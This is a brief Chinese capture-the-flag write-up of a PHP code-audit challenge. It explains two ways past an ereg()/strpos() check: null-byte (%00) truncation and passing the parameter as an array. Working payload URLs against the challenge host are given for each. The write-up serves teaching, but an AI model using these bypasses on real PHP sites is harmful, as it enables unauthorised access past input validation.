题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
本题是一道代码审计题。
这题目要求我们输入一个nctf的参数值,且这个参数值必须为 1.数字 2. #biubiubiu。即绕过判断语句。这里提供两种解法。
方法一:%00截断
这个是ereg() 的一个漏洞,类似于0x00截断,是因为这些函数遇到ASCII码为0的字符时,会自动默认到了结尾而停止。
注意:我们构造的flag是需要一层url解码的,#在url中是特殊字符,因此我们需要先将#编码为%23
payload:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu
方法二:利用ereg和strpos函数处理数组的特性
ereg函数处理数组时,直接返回NULL,而===
又是强判断,NULL不等于FALSE,因此绕过第一个条件;
strpos函数也无法处理数组,直接返回NULL;
payload:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=%23biubiubiu
这就是本题的两种解法。